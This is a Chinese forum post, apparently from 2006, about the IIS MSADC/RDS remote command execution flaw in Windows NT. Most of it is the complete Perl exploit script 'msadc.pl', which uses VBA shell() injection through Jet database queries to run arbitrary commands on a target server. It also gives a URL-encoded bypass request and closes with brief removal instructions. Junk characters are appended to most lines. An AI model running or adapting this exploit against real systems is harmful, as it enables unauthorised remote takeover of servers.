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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) i:x<Vi  
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涉及程序: =A<a9@N}N  
Microsoft NT server DVw 04ay%  
=|IY[2^  
描述: N==Y]Z$G  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 W4]jx ]  
w %R=kY)o  
详细: %( #kJZ  
如果你没有时间读详细内容的话,就删除: 0> U7]wZKc  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ShJBOaE; -  
有关的安全问题就没有了。 J@o$V- KK  
,XsBm+Q(  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ]".SW5b_  
E6clVa  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 _dwJ;j`2  
关于利用ODBC远程漏洞的描述,请参看: 9zlhJ7i  
@H8CU!J  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Jv59zI  
3EA`]&d>  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 oC|']r6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp LteZ7e  
)CG,Udu  
这里不再论述。 W"\O+  
o=Ia{@   
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: $zJ!L  
!Er)|YP  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DUvF  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! SAokW,  
AO]1`b:  
KWH:tFL.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 8P*wt'Q$  
m&k l_f7  
#!perl `tJ"wpCf6  
# husk\  
# MSADC/RDS 'usage' (aka exploit) script q82yh&  
# AzFS6<_  
# by rain.forest.puppy I Ab-O  
# =90)=Pxd  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me I0}G, q  
# beta test and find errors! l vfplA  
diD[/&k#kh  
use Socket; use Getopt::Std; @hOT< Uo  
getopts("e:vd:h:XR", \%args); mxmj  
*&$2us0%%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; b2UqN]{  
JjnWv7W3$  
if (!defined $args{h} && !defined $args{R}) { >JT^[i8[  
print qq~ QI6=[  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %)P)Xb  
-h <host> = host you want to scan (ip or domain) N`NW*~  
-d <seconds> = delay between calls, default 1 second v6O5n(5,,  
-X = dump Index Server path table, if available 'rSJ9Mw"x  
-v = verbose F 8 gw3  
-e = external dictionary file for step 5 nD#uOep9  
q;9OqArq  
Or a -R will resume a command session "~6IjW*/  
?5rM'O2  
~; exit;} TQ25"bWi  
& eWnS~hJ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;BW9SqlN  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} fU ^5Dl  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} zI.:1(,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); iKAqM{(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} FUs57 V  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } PQ(/1v   
!X+}W[Ic^  
if (!defined $args{R}){ $ret = &has_msadc; 3'6by!N,d  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} i#(+Kxr]>  
Y>I9o)KR  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Mb(hdS90  
. "cmd /c "; 2R~[B]2"r  
$in=<STDIN>; chomp $in; :?H1h8wbCt  
$command="cmd /c " . $in ; gCv[AIE_m  
- e_B  
if (defined $args{R}) {&load; exit;} /R[P sB  
Gu# wH  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";  @zSj&4  
&try_btcustmr; Hw%lT}[O  
ZBXn&Gm  
print "\nStep 2: Trying to make our own DSN...";  #-K,,"  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; s+&iH  
vze|*dKS  
print "\nStep 3: Trying known DSNs..."; qWb8"  
&known_dsn; )KcY<K  
la 89>pF  
print "\nStep 4: Trying known .mdbs...";  h3z9}'  
&known_mdb; *M+CA_I(  
A5%cgr% 6  
if (defined $args{e}){ xZ>@wBQ  
print "\nStep 5: Trying dictionary of DSN names..."; `a]feAl  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ~  ve  
r,cK#!<%  
print "Sorry Charley...maybe next time?\n"; ts;C:.X  
exit; X A-,  
"In$|A\?E  
############################################################################## <gx"p#JbZ  
g/`z.?  
sub sendraw { # ripped and modded from whisker K#a_7/!v/  
sleep($delay); # it's a DoS on the server! At least on mine... !-s6B  
my ($pstr)=@_; uEDvdd#V.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || l8RKwECdPn  
die("Socket problems\n"); I0(nRu<  
if(connect(S,pack "SnA4x8",2,80,$target)){ VpWpC&  
select(S); $|=1; V;1i/{  
print $pstr; my @in=<S>;  4B'-tV  
select(STDOUT); close(S); =xRxr @  
return @in; Z~HLa  
} else { die("Can't connect...\n"); }} ^1`T_+#[s  
'T*h0xX  
############################################################################## f}{Oj-:"CC  
sH\ h{^  
sub make_header { # make the HTTP request KhPDkD-  
my $msadc=<<EOT `(pe#Xxn  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 A?Gk8  
User-Agent: ACTIVEDATA uG 7ll5Yy  
Host: $ip UjH+BC+9`b  
Content-Length: $clen jjJ l\Vn  
Connection: Keep-Alive 6x"|,,&MD0  
U$T (R2@  
ADCClientVersion:01.06 07A2@dx  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 CUa`#  
z|sR `]K  
--!ADM!ROX!YOUR!WORLD! 3R ZD=`  
Content-Type: application/x-varg k"J=CDP\  
Content-Length: $reqlen yMBFw:/o  
Rb_+C  
EOT z)&GF$*  
; $msadc=~s/\n/\r\n/g; Q)l~?Fx  
return $msadc;} 6Z68n  
d> L*2 g  
##############################################################################  XOd  
~{BR~\D  
sub make_req { # make the RDS request s&Ml1 A:  
my ($switch, $p1, $p2)=@_; h} <Ie <  
my $req=""; my $t1, $t2, $query, $dsn; 'EsdYx5C  
+ u'y!@VV  
if ($switch==1){ # this is the btcustmr.mdb query oSB0P  
$query="Select * from Customers where City=" . make_shell(); 0} Lx}2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . >d#Ks0\&  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6;hZHe'W  
+B-;.]L T  
elsif ($switch==2){ # this is general make table query XyytO;X M-  
$query="create table AZZ (B int, C varchar(10))"; ~Is-^k)y  
$dsn="$p1";} s+E-M=d0e  
h,)UB1  
elsif ($switch==3){ # this is general exploit table query n%}Vd `c  
$query="select * from AZZ where C=" . make_shell(); _,5)  
$dsn="$p1";} -H AUKY@;5  
HLp'^  
elsif ($switch==4){ # attempt to hork file info from index server qlIbnyP<  
$query="select path from scope()"; GXx/pBdy[4  
$dsn="Provider=MSIDXS;";} iJ 8I# j+N  
vV 7L :>  
elsif ($switch==5){ # bad query 3M<T}>  
$query="select"; t/0h)mL}  
$dsn="$p1";} %eLf6|1x  
.T }q"  
$t1= make_unicode($query); O7GJg;>?  
$t2= make_unicode($dsn); Hp?uYih0  
$req = "\x02\x00\x03\x00"; 8i'EO6  
$req.= "\x08\x00" . pack ("S1", length($t1)); DJ<F8-sb2r  
$req.= "\x00\x00" . $t1 ; %!QY:[   
$req.= "\x08\x00" . pack ("S1", length($t2)); ;+iw?"  
$req.= "\x00\x00" . $t2 ; SoJ'y6  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; g;PZ$|%&s>  
return $req;} BSbi.@@tp  
T1c.ER}17  
############################################################################## C4/p5J  
34Z$a{ w  
sub make_shell { # this makes the shell() statement 5W~-|8m  
return "'|shell(\"$command\")|'";} aO>Nev  
GJIM^  
############################################################################## 0I \l_St@  
TNK~ETE4  
sub make_unicode { # quick little function to convert to unicode o? {rPFR  
my ($in)=@_; my $out; pxi/ ]6pw  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } kmfxk/F}  
return $out;} 5Bog\mS  
GK-__Y.  
############################################################################## b_xGCBC  
/ |z_z%=  
sub rdo_success { # checks for RDO return success (this is kludge) nPo YjQi  
my (@in) = @_; my $base=content_start(@in); r2;)VS  
if($in[$base]=~/multipart\/mixed/){  MuCnBx  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 9q|36CAO_  
return 0;} !$|h[ct  
YsXf+_._  
############################################################################## YR} P;  
@&LtIN#  
sub make_dsn { # this makes a DSN for us %44Z7  
my @drives=("c","d","e","f"); WjsE#9D!of  
print "\nMaking DSN: "; A~7q=-  
foreach $drive (@drives) { 0-a[[hL?  
print "$drive: "; 3a\.s9A "  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . li~#6$  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" vynchZ+g]  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qz2j55j   
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }m0hq+p^  
return 0 if $2 eq "404"; # not found/doesn't exist U6Ws#e  
if($2 eq "200") { #_}r)q  
foreach $line (@results) { L:3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Zn9ecN  
} return 0;} {&Es3+{A  
mbh;oX+  
############################################################################## o$,Dh?l  
<fm0B3i?  
sub verify_exists { ]iL>Zxex  
my ($page)=@_; C~#ndl Ij  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :ncR7:Z  
return $results[0];}  y+.E}  
q"sD>Yh&  
############################################################################## 8F*"z^vD=  
GVl TW?5  
sub try_btcustmr { Gv uX"J  
my @drives=("c","d","e","f"); w~I;4p~(N  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3om4q2R  
w` ;>+_ E7  
foreach $dir (@dirs) { b`Agb <x"  
print "$dir -> "; # fun status so you can see progress /,cyp .  
foreach $drive (@drives) { AD/7k3:  
print "$drive: "; # ditto ~56F<=#,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; )@OKL0t  
$reqlenlen=length( "$reqlen" ); 'z.: e+Q_  
$clen= 206 + $reqlenlen + $reqlen; 8rwXbYx x  
@+`">a8} ,  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4RXF.kJ3=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 5? rR'0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 3"XS#~l%  
V0!.>sX9  
############################################################################## A(<"oAe|  
o}4J|@Hi|4  
sub odbc_error { UAi]hUq  
my (@in)=@_; my $base; =u^{Jvl[  
my $base = content_start(@in); Sd0y=!Pj=  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 7 ,![oY[  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ahJu+y  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jLLZZPBK  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M~/R1\'&j  
return $in[$base+4].$in[$base+5].$in[$base+6];} f<T"# G$5  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; #MhieG5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . C)|{7W  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $6 A91|ZSQ  
c6 tB9b  
############################################################################## |f.R]+cH  
P)$q  
sub verbose { !e"TWO*X  
my ($in)=@_; QTNE.n<?  
return if !$verbose; 9?xc3F2EBD  
print STDOUT "\n$in\n";} \X?GzQkr  
9uL="z$\  
############################################################################## yF#:*Vz>  
~>]/1JFz  
sub save { WKwU:im  
my ($p1, $p2, $p3, $p4)=@_; (i*;V0  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; c 8 xZT  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $_P*Bk)  
close OUT;} pd1V8PZSG  
#*|0WaC  
############################################################################## KW~fW r8  
kj4t![o+  
sub load { EFYyr f@  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2]f"(X4jp  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); xep!.k x  
@p=<IN>; close(IN); %!;6h^@  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); x$'0}vnT  
$target= inet_aton($ip) || die("inet_aton problems"); />i~No#Xm  
print "Resuming to $ip ..."; xNaDzu"  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~!Q\\_  
if($p[1]==1) { ,Q5Z<\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; * ydU3LG7  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Vu`O%[Q/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); BVt)~HZ  
if (rdo_success(@results)){print "Success!\n";} c!{]Z_d\  
else { print "failed\n"; verbose(odbc_error(@results));}} QE8aYPSFf  
elsif ($p[1]==3){ IO4 8sV }  
if(run_query("$p[3]")){ =h{j F7  
print "Success!\n";} else { print "failed\n"; }} <hO|:LX  
elsif ($p[1]==4){ @4Ox$M  
if(run_query($drvst . "$p[3]")){ GGY WvGE+  
print "Success!\n"; } else { print "failed\n"; }} *A,h ^  
exit;} nd 5w|83  
 !AGjiP$  
############################################################################## E2D}F@<]  
{U,q!<@mq  
sub create_table { 5l&9BS&  
my ($in)=@_; 4X5Tyv(Dp  
$reqlen=length( make_req(2,$in,"") ) - 28; EZ.|6oug\  
$reqlenlen=length( "$reqlen" ); y_=},a  
$clen= 206 + $reqlenlen + $reqlen; 6tBh`nYB=  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^?5 [M^  
return 1 if rdo_success(@results); u{-J?t&`  
my $temp= odbc_error(@results); verbose($temp); YlY3C  
return 1 if $temp=~/Table 'AZZ' already exists/; ]qLro<  
return 0;} ua^gG3n0  
. >{.!a  
############################################################################## 7Qc 4Oz:t  
!M[a/7x,p  
sub known_dsn { ;U^7 ]JO;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5ecAev^1-  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", TZ]D6.mD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", f[b x|6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); e"sz jY~V  
cS'|c06  
foreach $dSn (@dsns) { K`25G_Y3@  
print "."; X R =^zp?  
next if (!is_access("DSN=$dSn")); 2bB&/Uumsd  
if(create_table("DSN=$dSn")){ <~[ A  
print "$dSn successful\n"; Q0}Sju+HX  
if(run_query("DSN=$dSn")){ YMSA[hm  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6S~l gH:  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "s6O|=^*  
42Gv]X  
############################################################################## "t{|e6   
v/4Bt2J  
sub is_access { /puM3ZN  
my ($in)=@_; lP!`lhc-^  
$reqlen=length( make_req(5,$in,"") ) - 28; Dm"@59x  
$reqlenlen=length( "$reqlen" ); *W#_W]Tu  
$clen= 206 + $reqlenlen + $reqlen; V ?10O  
my @results=sendraw(make_header() . make_req(5,$in,"")); fFHT`"bD:  
my $temp= odbc_error(@results); },2mIit(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); } h.]sF  
return 0;} fh1rmet&Ts  
t/=xY'7  
############################################################################## 7%-+7O3ud  
!1:364  
sub run_query { ~vVsxC$.  
my ($in)=@_; Wa8?o~0"L  
$reqlen=length( make_req(3,$in,"") ) - 28; @"6dq;"  
$reqlenlen=length( "$reqlen" ); hY?x14m$3  
$clen= 206 + $reqlenlen + $reqlen; m|RA@sY%`  
my @results=sendraw(make_header() . make_req(3,$in,"")); p.gaw16}>  
return 1 if rdo_success(@results); gX}(6RP_!  
my $temp= odbc_error(@results); verbose($temp); Y+k)d^6r  
return 0;} &wlSOC')j  
P(1 bd"Q  
############################################################################## ,~!rn}MI<  
Sc<%$ Gd  
sub known_mdb { llf|d'5Nl  
my @drives=("c","d","e","f","g"); w2!5Cb2  
my @dirs=("winnt","winnt35","winnt351","win","windows"); H!D?;X  
my $dir, $drive, $mdb; vsjl8L  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; RaS7IL:e  
)V}u}5  
# this is sparse, because I don't know of many uKI2KWU?2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .H,wdzg)  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", `XwFH#_  
"\\system32\\certmdb.mdb", KT)A{i  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% (Ut)APM  
FQbF)K~e  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", +$eEZ;4  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Yxal%  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", X676*;:!.  
"\\cfusion\\cfapps\\security\\realm_.mdb", -`mHb  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8?lp:kM  
"\\cfusion\\database\\cfexamples.mdb", UqaLTdYG  
"\\cfusion\\database\\cfsnippets.mdb", ^<0azza/(  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ![wV}. }  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z;dD }Fo  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #1:&uC1vj  
"\\cfusion\\database\\smpolicy.mdb", g,5r)FU`  
"\\cfusion\\database\cypress.mdb", q L6Rs  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", u0;FQr2  
"\\website\\cgi-win\\dbsample.mdb",  xZ*.@Pkr  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", pZu2[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" vwZrvjP2  
); #these are just -?A,N,nnX  
foreach $drive (@drives) { pU4 B6KTW  
foreach $dir (@dirs){ O\64)V 0  
foreach $mdb (@sysmdbs) { YQzs0t ,  
print "."; $e=pdD~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ \BT8-}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ZiBTe,;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ x"@Y[  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 1D42+cy  
} else { print "Something's borked. Use verbose next time\n"; }}}}} }";\8  
;:JTb2xbb  
foreach $drive (@drives) { v2>.+Eh#  
foreach $mdb (@mdbs) { pPUv8, %  
print "."; HWFI6N  
if(create_table($drv . $drive . $dir . $mdb)){ w6k\po=  
print "\n" . $drive . $dir . $mdb . " successful\n"; wG1A]OJl1  
if(run_query($drv . $drive . $dir . $mdb)){ kI>Iq Q-h  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Fd:A^]  
} else { print "Something's borked. Use verbose next time\n"; }}}} -saisH6  
} O.n pi: a  
F2 /-Wk@  
############################################################################## Rc2|o.'y  
w l.#{@J]<  
sub hork_idx { A$K>:Tt>  
print "\nAttempting to dump Index Server tables...\n"; (fc /"B-  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *5DOTWos  
$reqlen=length( make_req(4,"","") ) - 28; [p%@ pV  
$reqlenlen=length( "$reqlen" ); MLV_I4o  
$clen= 206 + $reqlenlen + $reqlen; l65-8  
my @results=sendraw2(make_header() . make_req(4,"","")); TI{W(2O*  
if (rdo_success(@results)){ x)M=_u2 _  
my $max=@results; my $c; my %d; T{1Z(M+  
for($c=19; $c<$max; $c++){ i"}%ib*X  
$results[$c]=~s/\x00//g; Sm;EWz-?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hadGF%> O6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s6k,'`.  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 6~Y-bn"%D5  
$d{"$1$2"}="";} sK~d{)+T  
foreach $c (keys %d){ print "$c\n"; } BJgg-z{Y  
} else {print "Index server doesn't seem to be installed.\n"; }} IS; F9{  
[KIK}:  
############################################################################## >gAq/'.Q  
KmoPFlw  
sub dsn_dict { Xg |_  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); s 2t'jIB  
while(<IN>){ hcEU kD  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; P 0xInW F  
next if (!is_access("DSN=$dSn")); \`N%77A  
if(create_table("DSN=$dSn")){ Gld|w=qr  
print "$dSn successful\n"; 6Sh0%F s  
if(run_query("DSN=$dSn")){ #un#~s 7Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { gn&jNuGg  
print "Something's borked. Use verbose next time\n";}}} ]| oh1q  
print "\n"; close(IN);} ;m{*iKL6{  
yM%,*VZ  
############################################################################## F&}>2QiL  
uJ<sa;  
sub sendraw2 { # ripped and modded from whisker #t /.fd  
sleep($delay); # it's a DoS on the server! At least on mine... {K-]nh/  
my ($pstr)=@_; 9Ny{2m=Ye  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }-H<wQ&x  
die("Socket problems\n"); $QQv$  
if(connect(S,pack "SnA4x8",2,80,$target)){ bd[zdL#4K  
print "Connected. Getting data"; "j5b$T0P>  
open(OUT,">raw.out"); my @in; @q9uU9c  
select(S); $|=1; print $pstr; &:g5+([<  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,^ MA,"8  
close(OUT); select(STDOUT); close(S); return @in; )--v> *,V  
} else { die("Can't connect...\n"); }} 7<V(lX.{  
q^],K'  
############################################################################## j[ !'l,I  
kN9pl^2  
sub content_start { # this will take in the server headers pqPhtWi%PJ  
my (@in)=@_; my $c; xX l^\?HC  
for ($c=1;$c<500;$c++) { CybHr#LBc  
if($in[$c] =~/^\x0d\x0a/){ K9co_n_L  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +:4J~Cuf  
else { return $c+1; }}} 1<_i7.{k  
return -1;} # it should never get here actually <lh+mrXm  
24_F`" :-=  
############################################################################## ;\=W=wL(  
hv 18V>8  
sub funky { yyJ4r}TE  
my (@in)=@_; my $error=odbc_error(@in); oXG,8NOdC  
if($error=~/ADO could not find the specified provider/){ %of#VSk  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #z{9:o7[-  
exit;} 1_ uq46  
if($error=~/A Handler is required/){ X$w ,zb\  
print "\nServer has custom handler filters (they most likely are patched)\n"; -:(,<Jt<  
exit;} :(EU\yCzK  
if($error=~/specified Handler has denied Access/){ x0wy3+GZc  
print "\nServer has custom handler filters (they most likely are patched)\n"; dxlaoyv:  
exit;}} E 5PefD\m  
L- [<C/`;t  
############################################################################## ^y"Rdv  
}YHoWYR  
sub has_msadc { z5Hz-.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Two$wL/  
my $base=content_start(@results); Ie>)U)/$  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); xe[Cuy$P  
return 0;} *Got  
e$|g  
######################## ) 'x4#5]  
'7}s25[{\  
z8+3/jLN0B  
解决方案:  Z+ [Nco  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll SlvQ)jw%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =if5$jE3  
-%"Kxe  
拿出来充数 哈哈
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